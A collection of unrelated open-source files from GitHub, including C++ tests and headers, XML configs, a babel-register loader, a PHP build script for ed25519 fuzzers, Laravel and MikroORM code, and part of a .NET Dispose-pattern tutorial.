// 2005-08-29 Paolo Carlini <[email protected]> // // Copyright (C) 2005-2019 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this library; see the file COPYING3. If not see // <http://www.gnu.org/licenses/>. #include <vector> #include <testsuite_hooks.h> // libstdc++/23578 void test01() { typedef std::vector<int> vector_type; { const int A[] = { 0, 1, 2, 3, 4 }; vector_type v(A, A + 5); VERIFY( v.data() == &v.front() ); int* pi = v.data(); VERIFY( *pi == 0 ); } { const int A[] = { 4, 3, 2, 1, 0 }; const vector_type cv(A, A + 5); VERIFY( cv.data() == &cv.front() ); const int* pci = cv.data(); VERIFY( *pci == 4 ); } } int main() { test01(); return 0; }
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_UI_HUNG_PLUGIN_TAB_HELPER_H_ #define CHROME_BROWSER_UI_HUNG_PLUGIN_TAB_HELPER_H_ #include <map> #include "base/memory/linked_ptr.h" #include "base/strings/string16.h" #include "base/time/time.h" #include "base/timer/timer.h" #include "content/public/browser/notification_observer.h" #include "content/public/browser/notification_registrar.h" #include "content/public/browser/web_contents_observer.h" #include "content/public/browser/web_contents_user_data.h" class InfoBarDelegate; namespace base { class FilePath; } // Manages per-tab state with regard to hung plugins. This only handles // Pepper plugins which we know are windowless. Hung NPAPI plugins (which // may have native windows) can not be handled with infobars and have a // separate OS-specific hang monitoring. // // Our job is: // - Pop up an infobar when a plugin is hung. // - Terminate the plugin process if the user so chooses. // - Periodically re-show the hung plugin infobar if the user closes it without // terminating the plugin. // - Hide the infobar if the plugin starts responding again. // - Keep track of all of this for any number of plugins. class HungPluginTabHelper : public content::WebContentsObserver, public content::NotificationObserver, public content::WebContentsUserData<HungPluginTabHelper> { public: virtual ~HungPluginTabHelper(); // content::WebContentsObserver: virtual void PluginCrashed(const base::FilePath& plugin_path, base::ProcessId plugin_pid) OVERRIDE; virtual void PluginHungStatusChanged(int plugin_child_id, const base::FilePath& plugin_path, bool is_hung) OVERRIDE; // content::NotificationObserver: virtual void Observe(int type, const content::NotificationSource& source, const content::NotificationDetails& details) OVERRIDE; // Called by an infobar when the user selects to kill the plugin. void KillPlugin(int child_id); private: friend class content::WebContentsUserData<HungPluginTabHelper>; struct PluginState; typedef std::map<int, linked_ptr<PluginState> > PluginStateMap; explicit HungPluginTabHelper(content::WebContents* contents); // Called on a timer for a hung plugin to re-show the bar. void OnReshowTimer(int child_id); // Shows the bar for the plugin identified by the given state, updating the // state accordingly. The plugin must not have an infobar already. void ShowBar(int child_id, PluginState* state); // Closes the infobar associated with the given state. Note that this can // be called even if the bar is not opened, in which case it will do nothing. void CloseBar(PluginState* state); content::NotificationRegistrar registrar_; // All currently hung plugins. PluginStateMap hung_plugins_; DISALLOW_COPY_AND_ASSIGN(HungPluginTabHelper); }; #endif // CHROME_BROWSER_UI_HUNG_PLUGIN_TAB_HELPER_H_
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- ~ Copyright (c) 2019 DuckDuckGo ~ ~ Licensed under the Apache License, Version 2.0 (the "License"); ~ you may not use this file except in compliance with the License. ~ You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, software ~ distributed under the License is distributed on an "AS IS" BASIS, ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ~ See the License for the specific language governing permissions and ~ limitations under the License. --> <resources> <integer name="tab_switcher_animation_duration_ms">300</integer> <integer name="slide_animation_duration_ms">300</integer> <integer name="crossing_animation_delay_ms">500</integer> </resources>
{ "pile_set_name": "Github" }
// Copyright 2013 Google Inc. All Rights Reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the COPYING file in the root of the source // tree. An additional intellectual property rights grant can be found // in the file PATENTS. All contributing project authors may // be found in the AUTHORS file in the root of the source tree. // ----------------------------------------------------------------------------- // // Windows Imaging Component (WIC) decode. #ifndef WEBP_IMAGEIO_WICDEC_H_ #define WEBP_IMAGEIO_WICDEC_H_ #ifdef __cplusplus extern "C" { #endif struct Metadata; struct WebPPicture; // Reads an image from 'filename', returning the decoded output in 'pic'. // If 'keep_alpha' is true and the image has an alpha channel, the output is // RGBA otherwise it will be RGB. pic->use_argb is always forced to true. // Returns true on success. int ReadPictureWithWIC(const char* const filename, struct WebPPicture* const pic, int keep_alpha, struct Metadata* const metadata); #ifdef __cplusplus } // extern "C" #endif #endif // WEBP_IMAGEIO_WICDEC_H_
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc.Rendering; namespace Identity.Dapper.Samples.Web.Models.ManageViewModels { public class ConfigureTwoFactorViewModel { public string SelectedProvider { get; set; } public ICollection<SelectListItem> Providers { get; set; } } }
{ "pile_set_name": "Github" }
/* * Copyright 2013 Stormpath, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.stormpath.spring.security.provider; import com.stormpath.spring.security.authz.permission.Permission; /** * A {@code PermisisonResolver} resolves a String value and converts it into a * {@link com.stormpath.spring.security.authz.permission.Permission Permission} instance. * <p/> * The default {@link WildcardPermissionResolver} should be * suitable for most purposes, which constructs {@link com.stormpath.spring.security.authz.permission.WildcardPermission} objects. * However, any resolver may be configured if an application wishes to use different * {@link com.stormpath.spring.security.authz.permission.Permission} implementations. * <p/> * We suggest to use {@link com.stormpath.spring.security.authz.permission.WildcardPermission WildcardPermission}s. * One of the nice things about {@code WildcardPermission}s is that it makes it very easy to * store complex permissions in the database - and also makes it very easy to represent permissions in JSP files, * annotations, etc., where a simple string representation is useful. * <p/> * You are of course free to provide custom String-to-Permission conversion by providing Spring Security components any instance * of this interface. * * @since 0.2.0 */ public interface PermissionResolver { /** * Resolves a Permission based on the given String representation. * * @param permissionString the String representation of a permission. * @return A Permission object that can be used internally to determine a subject's permissions. * @throws InvalidPermissionStringException * if the permission string is not valid for this resolver. */ Permission resolvePermission(String permissionString); }
{ "pile_set_name": "Github" }
"use strict"; exports.__esModule = true; var _keys = require("babel-runtime/core-js/object/keys"); var _keys2 = _interopRequireDefault(_keys); var _stringify = require("babel-runtime/core-js/json/stringify"); var _stringify2 = _interopRequireDefault(_stringify); exports.default = function () { var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; if (opts.only != null) only = _babelCore.util.arrayify(opts.only, _babelCore.util.regexify); if (opts.ignore != null) ignore = _babelCore.util.arrayify(opts.ignore, _babelCore.util.regexify); if (opts.extensions) hookExtensions(_babelCore.util.arrayify(opts.extensions)); if (opts.cache === false) cache = null; delete opts.extensions; delete opts.ignore; delete opts.cache; delete opts.only; (0, _extend2.default)(transformOpts, opts); }; var _cloneDeep = require("lodash/cloneDeep"); var _cloneDeep2 = _interopRequireDefault(_cloneDeep); var _sourceMapSupport = require("source-map-support"); var _sourceMapSupport2 = _interopRequireDefault(_sourceMapSupport); var _cache = require("./cache"); var registerCache = _interopRequireWildcard(_cache); var _extend = require("lodash/extend"); var _extend2 = _interopRequireDefault(_extend); var _babelCore = require("babel-core"); var babel = _interopRequireWildcard(_babelCore); var _fs = require("fs"); var _fs2 = _interopRequireDefault(_fs); var _path = require("path"); var _path2 = _interopRequireDefault(_path); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } _sourceMapSupport2.default.install({ handleUncaughtExceptions: false, environment: "node", retrieveSourceMap: function retrieveSourceMap(source) { var map = maps && maps[source]; if (map) { return { url: null, map: map }; } else { return null; } } }); registerCache.load(); var cache = registerCache.get(); var transformOpts = {}; var ignore = void 0; var only = void 0; var oldHandlers = {}; var maps = {}; var cwd = process.cwd(); function getRelativePath(filename) { return _path2.default.relative(cwd, filename); } function mtime(filename) { return +_fs2.default.statSync(filename).mtime; } function compile(filename) { var result = void 0; var opts = new _babelCore.OptionManager().init((0, _extend2.default)({ sourceRoot: _path2.default.dirname(filename) }, (0, _cloneDeep2.default)(transformOpts), { filename: filename })); var cacheKey = (0, _stringify2.default)(opts) + ":" + babel.version; var env = process.env.BABEL_ENV || process.env.NODE_ENV; if (env) cacheKey += ":" + env; if (cache) { var cached = cache[cacheKey]; if (cached && cached.mtime === mtime(filename)) { result = cached; } } if (!result) { result = babel.transformFileSync(filename, (0, _extend2.default)(opts, { babelrc: false, sourceMaps: "both", ast: false })); } if (cache) { cache[cacheKey] = result; result.mtime = mtime(filename); } maps[filename] = result.map; return result.code; } function shouldIgnore(filename) { if (!ignore && !only) { return getRelativePath(filename).split(_path2.default.sep).indexOf("node_modules") >= 0; } else { return _babelCore.util.shouldIgnore(filename, ignore || [], only); } } function loader(m, filename) { m._compile(compile(filename), filename); } function registerExtension(ext) { var old = oldHandlers[ext] || oldHandlers[".js"] || require.extensions[".js"]; require.extensions[ext] = function (m, filename) { if (shouldIgnore(filename)) { old(m, filename); } else { loader(m, filename, old); } }; } function hookExtensions(_exts) { (0, _keys2.default)(oldHandlers).forEach(function (ext) { var old = oldHandlers[ext]; if (old === undefined) { delete require.extensions[ext]; } else { require.extensions[ext] = old; } }); oldHandlers = {}; _exts.forEach(function (ext) { oldHandlers[ext] = require.extensions[ext]; registerExtension(ext); }); } hookExtensions(_babelCore.util.canCompile.EXTENSIONS); module.exports = exports["default"];
{ "pile_set_name": "Github" }
<domain type="kvm"> <name>fedora29</name> <uuid>00000000-1111-2222-3333-444444444444</uuid> <metadata> <libosinfo:libosinfo xmlns:libosinfo="http://libosinfo.org/xmlns/libvirt/domain/1.0"> <libosinfo:os id="http://fedoraproject.org/fedora/29"/> </libosinfo:libosinfo> </metadata> <memory>65536</memory> <currentMemory>65536</currentMemory> <vcpu>2</vcpu> <os> <type arch="x86_64" machine="q35">hvm</type> <boot dev="hd"/> </os> <features> <acpi/> <apic/> </features> <cpu mode="host-model"/> <clock offset="utc"> <timer name="rtc" tickpolicy="catchup"/> <timer name="pit" tickpolicy="delay"/> <timer name="hpet" present="no"/> </clock> <pm> <suspend-to-mem enabled="no"/> <suspend-to-disk enabled="no"/> </pm> <devices> <emulator>/usr/bin/qemu-kvm</emulator> <disk type="file" device="disk"> <driver name="qemu" type="qcow2"/> <source file="/dev/default-pool/testvol1.img"/> <target dev="vda" bus="virtio"/> </disk> <controller type="usb" model="qemu-xhci" ports="15"/> <interface type="bridge"> <source bridge="testsuitebr0"/> <mac address="00:11:22:33:44:55"/> <model type="virtio"/> </interface> <console type="pty"/> <channel type="unix"> <source mode="bind"/> <target type="virtio" name="org.qemu.guest_agent.0"/> </channel> <input type="tablet" bus="usb"/> <graphics type="vnc" port="-1"/> <video> <model type="vga"/> </video> <memballoon model="virtio"/> <rng model="virtio"> <backend model="random">/dev/urandom</backend> </rng> </devices> </domain>
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_25) on Thu Jan 01 20:30:39 PST 2015 --> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8"> <title>Uses of Class com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer (Jackson-dataformat-XML 2.5.0 API)</title> <meta name="date" content="2015-01-01"> <link rel="stylesheet" type="text/css" href="../../../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer (Jackson-dataformat-XML 2.5.0 API)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html" title="class in com.fasterxml.jackson.dataformat.xml.deser">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../index.html?com/fasterxml/jackson/dataformat/xml/deser/class-use/XmlTextDeserializer.html" target="_top">Frames</a></li> <li><a href="XmlTextDeserializer.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Class com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer" class="title">Uses of Class<br>com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer</h2> </div> <div class="classUseContainer">No usage of com.fasterxml.jackson.dataformat.xml.deser.XmlTextDeserializer</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../com/fasterxml/jackson/dataformat/xml/deser/XmlTextDeserializer.html" title="class in com.fasterxml.jackson.dataformat.xml.deser">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../index.html?com/fasterxml/jackson/dataformat/xml/deser/class-use/XmlTextDeserializer.html" target="_top">Frames</a></li> <li><a href="XmlTextDeserializer.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> <p class="legalCopy"><small>Copyright &#169; 2014-2015 <a href="http://fasterxml.com/">FasterXML</a>. All Rights Reserved.</small></p> </body> </html>
{ "pile_set_name": "Github" }
i am file
{ "pile_set_name": "Github" }
from . import wgmultilinetree as multilinetree from . import wgcheckbox as checkbox import weakref import curses class MultiSelectTree(multilinetree.SelectOneTree): _contained_widgets = checkbox.Checkbox def set_up_handlers(self): super(MultiSelectTree, self).set_up_handlers() self.handlers.update({ ord("x"): self.h_select_toggle, curses.ascii.SP: self.h_select_toggle, ord("X"): self.h_select, "^U": self.h_select_none, }) def h_select_none(self, input): self.value = [] def h_select_toggle(self, input): try: working_with = weakref.proxy(self.values[self.cursor_line]) except TypeError: working_with = self.values[self.cursor_line] if working_with in self.value: self.value.remove(working_with) else: self.value.append(working_with) def h_set_filtered_to_selected(self, ch): self.value = self.get_filtered_values() def h_select_exit(self, ch): try: working_with = weakref.proxy(self.values[self.cursor_line]) except TypeError: working_with = self.values[self.cursor_line] if not working_with in self.value: self.value.append(working_with) if self.return_exit: self.editing = False self.how_exited=True
{ "pile_set_name": "Github" }
<!doctype html> <title>invalid-first-character-of-tag-name</title> <42></42>
{ "pile_set_name": "Github" }
<?php function echoln($str) { echo $str; echo "\n"; } function usage($reason) { echoln("Usage: php build-nix.php [flags]"); echoln("Flags in parantheses are optional"); echoln(""); echoln(" --bits=[32,64]"); echoln(" --function=[curve25519,ed25519]"); echoln(" (--compiler=[*gcc,clang,icc]) which compiler to use, gcc is default"); echoln(" (--with-openssl) use openssl for SHA512"); echoln(" (--with-sse2) additionally fuzz against SSE2"); echoln(" (--no-asm) don't use platform specific asm"); echoln(""); if ($reason) echoln($reason); } function cleanup() { system("rm -f *.o"); } function runcmd($desc, $cmd) { echoln($desc); $ret = 0; system($cmd, $ret); if ($ret) { cleanup(); exit; } } class argument { var $set, $value; } class multiargument extends argument { function multiargument($flag, $legal_values) { global $argc, $argv; $this->set = false; $map = array(); foreach($legal_values as $value) $map[$value] = true; for ($i = 1; $i < $argc; $i++) { if (!preg_match("!--".$flag."=(.*)!", $argv[$i], $m)) continue; if (isset($map[$m[1]])) { $this->value = $m[1]; $this->set = true; return; } else { usage("{$m[1]} is not a valid parameter to --{$flag}!"); exit(1); } } } } class flag extends argument { function flag($flag) { global $argc, $argv; $this->set = false; $flag = "--{$flag}"; for ($i = 1; $i < $argc; $i++) { if ($argv[$i] !== $flag) continue; $this->value = true; $this->set = true; return; } } } $bits = new multiargument("bits", array("32", "64")); $function = new multiargument("function", array("curve25519", "ed25519")); $compiler = new multiargument("compiler", array("gcc", "clang", "icc")); $with_sse2 = new flag("with-sse2"); $with_openssl = new flag("with-openssl"); $no_asm = new flag("no-asm"); $err = ""; if (!$bits->set) $err .= "--bits not set\n"; if (!$function->set) $err .= "--function not set\n"; if ($err !== "") { usage($err); exit; } $compile = ($compiler->set) ? $compiler->value : "gcc"; $link = ""; $flags = "-O3 -m{$bits->value}"; $ret = 0; if ($with_openssl->set) $link .= " -lssl -lcrypto"; if (!$with_openssl->set) $flags .= " -DED25519_REFHASH -DED25519_TEST"; if ($no_asm->set) $flags .= " -DED25519_NO_INLINE_ASM"; if ($function->value === "curve25519") { runcmd("building ref10..", "{$compile} {$flags} curve25519-ref10.c -c -o curve25519-ref10.o"); runcmd("building ed25519..", "{$compile} {$flags} ed25519-donna.c -c -o ed25519.o"); if ($with_sse2->set) { runcmd("building ed25519-sse2..", "{$compile} {$flags} ed25519-donna-sse2.c -c -o ed25519-sse2.o -msse2"); $flags .= " -DED25519_SSE2"; $link .= " ed25519-sse2.o"; } runcmd("linking..", "{$compile} {$flags} {$link} fuzz-curve25519.c ed25519.o curve25519-ref10.o -o fuzz-curve25519"); echoln("fuzz-curve25519 built."); } else if ($function->value === "ed25519") { runcmd("building ref10..", "{$compile} {$flags} ed25519-ref10.c -c -o ed25519-ref10.o"); runcmd("building ed25519..", "{$compile} {$flags} ed25519-donna.c -c -o ed25519.o"); if ($with_sse2->set) { runcmd("building ed25519-sse2..", "{$compile} {$flags} ed25519-donna-sse2.c -c -o ed25519-sse2.o -msse2"); $flags .= " -DED25519_SSE2"; $link .= " ed25519-sse2.o"; } runcmd("linking..", "{$compile} {$flags} {$link} fuzz-ed25519.c ed25519.o ed25519-ref10.o -o fuzz-ed25519"); echoln("fuzz-ed25519 built."); } cleanup(); ?>
{ "pile_set_name": "Github" }
// ------------------------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. // ------------------------------------------------------------------------------ // **NOTE** This file was generated by a tool and any changes will be overwritten. // <auto-generated/> // Template Source: Templates\CSharp\Requests\IEntityRequestBuilder.cs.tt namespace Microsoft.Graph { using System; using System.Collections.Generic; using System.IO; /// <summary> /// The interface IAndroidCompliancePolicyRequestBuilder. /// </summary> public partial interface IAndroidCompliancePolicyRequestBuilder : IDeviceCompliancePolicyRequestBuilder { /// <summary> /// Builds the request. /// </summary> /// <returns>The built request.</returns> new IAndroidCompliancePolicyRequest Request(); /// <summary> /// Builds the request. /// </summary> /// <param name="options">The query and header options for the request.</param> /// <returns>The built request.</returns> new IAndroidCompliancePolicyRequest Request(IEnumerable<Option> options); } }
{ "pile_set_name": "Github" }
testing hasValue ^ task hasValue.
{ "pile_set_name": "Github" }
<?php namespace Modules\User\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class LoginRequest extends FormRequest { /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'email' => 'required', 'password' => 'required', ]; } /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } public function messages() { return []; } }
{ "pile_set_name": "Github" }
--- title: Usage with JavaScript sidebar_label: Usage with Vanilla JS --- Since MikroORM 3.2, we can use `EntitySchema` helper to define own entities without decorators, which works also for Vanilla JavaScript. > Read more about `EntitySchema` in [this section](entity-schema.md). Here is an example of such entity: ```javascript title="./entities/Author.js" const { Collection, EntitySchema } = require('@mikro-orm/core'); const { Book } = require('./Book'); const { BaseEntity } = require('./BaseEntity'); /** * @property {number} id * @property {Date} createdAt * @property {Date} updatedAt * @property {string} name * @property {string} email * @property {number} age * @property {boolean} termsAccepted * @property {string[]} identities * @property {Date} born * @property {Collection<Book>} books * @property {Book} favouriteBook * @property {number} version * @property {string} versionAsString */ class Author extends BaseEntity { /** * @param {string} name * @param {string} email */ constructor(name, email) { super(); this.name = name; this.email = email; this.books = new Collection(this); this.createdAt = new Date(); this.updatedAt = new Date(); this.termsAccepted = false; } } export const schema = new EntitySchema({ class: Author, properties: { name: { type: 'string' }, email: { type: 'string', unique: true }, age: { type: 'number', nullable: true }, termsAccepted: { type: 'boolean', default: 0, onCreate: () => false }, identities: { type: 'string[]', nullable: true }, born: { type: DateType, nullable: true, length: 3 }, books: { reference: '1:m', entity: () => 'Book', mappedBy: book => book.author }, favouriteBook: { reference: 'm:1', type: 'Book' }, version: { type: 'number', persist: false }, }, }); module.exports.Author = Author; module.exports.entity = Author; module.exports.schema = schema; ``` > Do not forget to provide `name` and `path` schema parameters as well as `entity` > and `schema` exports. Reference parameter can be one of (where `SCALAR` is the default one): ```typescript export enum ReferenceType { SCALAR = 'scalar', ONE_TO_ONE = '1:1', MANY_TO_ONE = 'm:1', ONE_TO_MANY = '1:m', MANY_TO_MANY = 'm:n', EMBEDDED = 'embedded', } ``` You can register your entities as usual. ```javascript const orm = await MikroORM.init({ entities: [Author, Book, BookTag, BaseEntity], dbName: 'my-db-name', type: 'mysql', }); ``` For more examples of plain JavaScript entity definitions take a look [Express JavaScript example](https://github.com/mikro-orm/express-js-example-app).
{ "pile_set_name": "Github" }
class Typing { constructor(opts) { this.opts = opts || {}; this.source = opts.source; this.output = opts.output; this.delay = opts.delay || 120; this.chain = { parent: null, dom: this.output, val: [] }; if (!(typeof this.opts.done === 'function')) this.opts.done = function () { }; } init() { //初始化函数 this.chain.val = this.convert(this.source, this.chain.val); } convert(dom, arr) { //将dom节点的子节点转换成数组, let children = Array.from(dom.childNodes) for (let i = 0; i < children.length; i++) { let node = children[i] if (node.nodeType === 3) { arr = arr.concat(node.nodeValue.split('')) //将字符串转换成字符串数组,后面打印时才会一个一个的打印 } else if (node.nodeType === 1) { let val = [] val = this.convert(node, val) arr.push({ 'dom': node, 'val': val }) } } return arr } print(dom, val, callback) { setTimeout(function () { dom.appendChild(document.createTextNode(val)); callback(); }, this.delay); } play(ele) { //当打印最后一个字符时,动画完毕,执行done if (!ele.val.length) { if (ele.parent) this.play(ele.parent); else this.opts.done(); return; } let current = ele.val.shift() //获取第一个元素,同时删除数组中的第一个元素 if (typeof current === 'string') { this.print(ele.dom, current, () => { this.play(ele); //继续打印下一个字符 }) } else { let dom = current.dom.cloneNode() //克隆节点,不克隆节点的子节点,所以不用加参数true ele.dom.appendChild(dom) this.play({ parent: ele, dom, val: current.val }) } } start() { this.init(); this.play(this.chain); } } export default Typing
{ "pile_set_name": "Github" }
--- title: "Implement a Dispose method" description: In this article, learn to implement the Dispose method, which releases unmanaged resources used by your code in .NET. ms.date: 09/08/2020 ms.technology: dotnet-standard dev_langs: - "csharp" - "vb" helpviewer_keywords: - "Dispose method" - "garbage collection, Dispose method" ms.assetid: eb4e1af0-3b48-4fbc-ad4e-fc2f64138bf9 --- # Implement a Dispose method Implementing the <xref:System.IDisposable.Dispose%2A> method is primarily for releasing unmanaged resources. When working with instance members that are <xref:System.IDisposable> implementations, it's common to cascade <xref:System.IDisposable.Dispose%2A> calls. There are additional reasons for implementing <xref:System.IDisposable.Dispose%2A>, for example, to free memory that was allocated, remove an item that was added to a collection, or signal the release of a lock that was acquired. The [.NET garbage collector](index.md) does not allocate or release unmanaged memory. The pattern for disposing an object, referred to as the dispose pattern, imposes order on the lifetime of an object. The dispose pattern is used for objects that implement the <xref:System.IDisposable> interface, and is common when interacting with file and pipe handles, registry handles, wait handles, or pointers to blocks of unmanaged memory. This is because the garbage collector is unable to reclaim unmanaged objects. To help ensure that resources are always cleaned up appropriately, a <xref:System.IDisposable.Dispose%2A> method should be idempotent, such that it is callable multiple times without throwing an exception. Furthermore, subsequent invocations of <xref:System.IDisposable.Dispose%2A> should do nothing. The code example provided for the <xref:System.GC.KeepAlive%2A?displayProperty=nameWithType> method shows how garbage collection can cause a finalizer to run, while an unmanaged reference to the object or its members is still in use. It may make sense to utilize <xref:System.GC.KeepAlive%2A?displayProperty=nameWithType> to make the object ineligible for garbage collection from the start of the current routine to the point where this method is called. ## Safe handles Writing code for an object's finalizer is a complex task that can cause problems if not done correctly. Therefore, we recommend that you construct <xref:System.Runtime.InteropServices.SafeHandle?displayProperty=nameWithType> objects instead of implementing a finalizer. A <xref:System.Runtime.InteropServices.SafeHandle?displayProperty=nameWithType> is an abstract managed type that wraps an <xref:System.IntPtr?displayProperty=nameWithType> that identifies an unmanaged resource. On Windows it might identify a handle while on Unix, a file descriptor. It provides all of the logic necessary to ensure that this resource is released once and only once, when the `SafeHandle` is disposed of or when all references to the `SafeHandle` have been dropped and the `SafeHandle` instance is finalized. The <xref:System.Runtime.InteropServices.SafeHandle?displayProperty=nameWithType> is an abstract base class. Derived classes provide specific instances for different kinds of handle. These derived classes validate what values for the <xref:System.IntPtr?displayProperty=nameWithType> are considered invalid and how to actually free the handle. For example, <xref:Microsoft.Win32.SafeHandles.SafeFileHandle> derives from `SafeHandle` to wrap `IntPtrs` that identify open file handles/descriptors, and overrides its <xref:System.Runtime.InteropServices.SafeHandle.ReleaseHandle?displayProperty=nameWithType> method to close it (via the `close` function on Unix or `CloseHandle` function on Windows). Most APIs in .NET libraries that create an unmanaged resource will wrap it in a `SafeHandle` and return that `SafeHandle` to you as needed, rather than handing back the raw pointer. In situations where you interact with an unmanaged component and get an `IntPtr` for an unmanaged resource, you can create your own `SafeHandle` type to wrap it. As a result, few non-`SafeHandle` types need to implement finalizers; most disposable pattern implementations only end up wrapping other managed resources, some of which may be `SafeHandle`s. The following derived classes in the <xref:Microsoft.Win32.SafeHandles> namespace provide safe handles: - The <xref:Microsoft.Win32.SafeHandles.SafeFileHandle>, <xref:Microsoft.Win32.SafeHandles.SafeMemoryMappedFileHandle>, and <xref:Microsoft.Win32.SafeHandles.SafePipeHandle> class, for files, memory mapped files, and pipes. - The <xref:Microsoft.Win32.SafeHandles.SafeMemoryMappedViewHandle> class, for memory views. - The <xref:Microsoft.Win32.SafeHandles.SafeNCryptKeyHandle>, <xref:Microsoft.Win32.SafeHandles.SafeNCryptProviderHandle>, and <xref:Microsoft.Win32.SafeHandles.SafeNCryptSecretHandle> classes, for cryptography constructs. - The <xref:Microsoft.Win32.SafeHandles.SafeRegistryHandle> class, for registry keys. - The <xref:Microsoft.Win32.SafeHandles.SafeWaitHandle> class, for wait handles. ## Dispose() and Dispose(bool) The <xref:System.IDisposable> interface requires the implementation of a single parameterless method, <xref:System.IDisposable.Dispose%2A>. Also, any non-sealed class should have an additional `Dispose(bool)` overload method to be implemented: - A `public` non-virtual (`NonInheritable` in Visual Basic) <xref:System.IDisposable.Dispose%2A?displayProperty=nameWithType> implementation that has no parameters. - A `protected virtual` (`Overridable` in Visual Basic) `Dispose` method whose signature is: [!code-csharp[Conceptual.Disposable#8](../../../samples/snippets/csharp/VS_Snippets_CLR/conceptual.disposable/cs/dispose1.cs#8)] [!code-vb[Conceptual.Disposable#8](../../../samples/snippets/visualbasic/VS_Snippets_CLR/conceptual.disposable/vb/dispose1.vb#8)] > [!IMPORTANT] > The `disposing` parameter should be `false` when called from a finalizer, and `true` when called from the <xref:System.IDisposable.Dispose%2A?displayProperty=nameWithType> method. In other words, it is `true` when deterministically called and `false` when non-deterministically called. ### The Dispose() method Because the `public`, non-virtual (`NonInheritable` in Visual Basic), parameterless `Dispose` method is called by a consumer of the type, its purpose is to free unmanaged resources, perform general cleanup, and to indicate that the finalizer, if one 